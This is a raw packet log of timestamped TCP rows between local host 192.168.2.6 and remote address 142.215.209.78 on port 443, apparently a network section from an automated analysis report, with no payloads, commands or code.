Nov 20, 2024 20:33:51.581651926 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.581661940 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.584825039 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.584903955 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.584913015 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.588920116 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.588988066 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.588998079 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.592061996 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.592134953 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.592173100 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.595345974 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.595422983 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.595434904 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.599478960 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.599550962 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.599566936 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.603070974 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.603142023 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.603152990 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.656704903 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.762769938 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.762783051 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.762834072 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.762867928 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.762873888 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.766144991 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.766155958 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.766227007 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.766232967 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.769407034 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.769452095 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.769474983 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.769480944 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.769503117 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.772478104 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.772571087 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.772578955 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.776530981 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.776602983 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.776613951 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.780057907 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.780214071 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.780225039 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.783956051 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.784034967 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.784044981 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.787384033 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.787448883 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.787458897 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.790313959 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.790396929 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.790407896 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.794394970 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.794456959 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.794478893 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.797698975 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.797806978 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.797817945 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.800887108 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.800976992 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.800987005 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.804991961 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.805062056 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.805082083 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.808099985 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.808178902 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.808186054 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.811290979 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.811368942 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.811377048 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.815042973 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.815129042 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.815135002 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.859848022 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.978163004 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.978178978 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.978281975 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.978298903 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.981302977 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.981311083 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.981360912 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.981372118 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.981401920 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.985394955 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.985425949 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.985474110 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.985481024 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.985505104 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.988594055 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.988655090 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.988662004 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.991848946 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.991947889 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.991956949 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.995892048 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.995954990 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.995961905 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.999053955 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:51.999159098 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:51.999166965 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.002266884 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.002330065 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.002338886 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.006417036 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.006493092 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.006500959 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.009646893 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.009712934 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.009720087 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.036824942 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.036911011 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.036923885 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.039891958 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.039923906 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.039975882 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.039982080 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.040036917 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.043988943 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.043998957 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.044097900 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.044105053 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.044142962 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.047218084 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.047368050 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.047374010 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.051489115 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.051580906 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.051594973 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.054471016 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.054546118 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.054557085 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.110004902 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.283787012 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.283802032 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.283905983 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.283929110 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.286464930 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.286472082 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.286525965 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.286539078 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.289179087 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.289186954 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.289253950 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.289264917 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.291997910 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.292030096 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.292073011 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.292097092 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.292109013 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.295972109 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.296056032 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.296072006 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.299206018 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.299302101 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.299318075 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.303035021 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.303106070 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.303114891 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.306247950 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.306329012 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.306338072 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.310353041 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.310605049 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.310617924 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.313918114 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.313986063 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.313997030 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.317212105 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.317292929 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.317302942 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.320389986 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.320494890 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.320507050 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.324095011 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.324147940 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.324162006 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.327756882 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.327950001 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.327965975 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.330591917 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.330646992 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.330658913 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.335722923 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.335793018 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.335803986 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.375439882 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.584517002 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.584531069 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.584649086 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.584666967 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.587632895 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.587668896 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.587701082 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.587709904 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.587727070 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.590977907 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.591064930 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.591075897 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.594983101 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.595057011 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.595072031 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.598297119 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.598419905 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.598433971 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.601449966 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.601521969 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.601536036 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.605541945 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.605607986 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.605618954 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.608824015 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.608892918 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.608905077 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.611902952 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.611998081 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.612013102 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.616029978 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.616087914 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.616095066 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.619309902 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.619755030 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.619764090 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.623569012 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.623646021 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.623655081 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.626844883 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.626930952 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.626940966 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.630340099 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.630417109 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.630426884 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.633713007 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.633872032 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.633889914 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.636571884 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.636645079 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.636657953 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.687946081 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.819397926 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.819411039 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.819487095 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.819504976 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.823401928 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.823410034 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.823479891 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.823488951 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.826668978 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.826678038 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.826729059 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.826736927 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.829734087 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.829763889 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.829797029 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.829803944 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.829849958 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.833873987 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.833884001 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.833954096 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.833961964 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.834011078 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.837150097 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.837227106 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.837234020 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.841212034 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.841267109 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.841274977 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.844372034 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.844429970 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.844436884 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.847692966 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.847740889 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.847748041 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.851326942 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.851393938 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.851402044 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.854434967 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.854491949 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.854499102 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.858505011 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.858567953 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.858576059 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.861802101 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.861871004 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.861877918 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.865858078 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.865912914 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.865941048 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.869045973 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.869118929 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.869126081 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.872313023 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.872374058 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:52.872399092 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:52.922293901 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.030627966 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.030637980 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.030796051 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.030817032 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.033835888 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.033848047 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.033905029 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.033915043 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.037092924 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.037127018 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.037147999 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.037154913 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.037173033 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.041150093 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.041227102 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.041234970 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.044279099 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.044338942 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.044348955 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.047485113 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.047593117 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.047600985 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.051603079 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.051712036 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.051721096 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.054905891 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.054975986 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.054985046 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.058001995 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.058069944 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.058079004 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.061672926 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.061764002 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.061777115 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.065772057 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.065860033 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.065867901 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.069169998 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.069261074 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.069269896 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.072170973 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.072330952 CET	49734	443	192.168.2.6	142.215.209.78
Nov 20, 2024 20:33:53.072340965 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.076262951 CET	443	49734	142.215.209.78	192.168.2.6
Nov 20, 2024 20:33:53.076337099 CET	49734	443	192.168.2.6	142.215.209.78
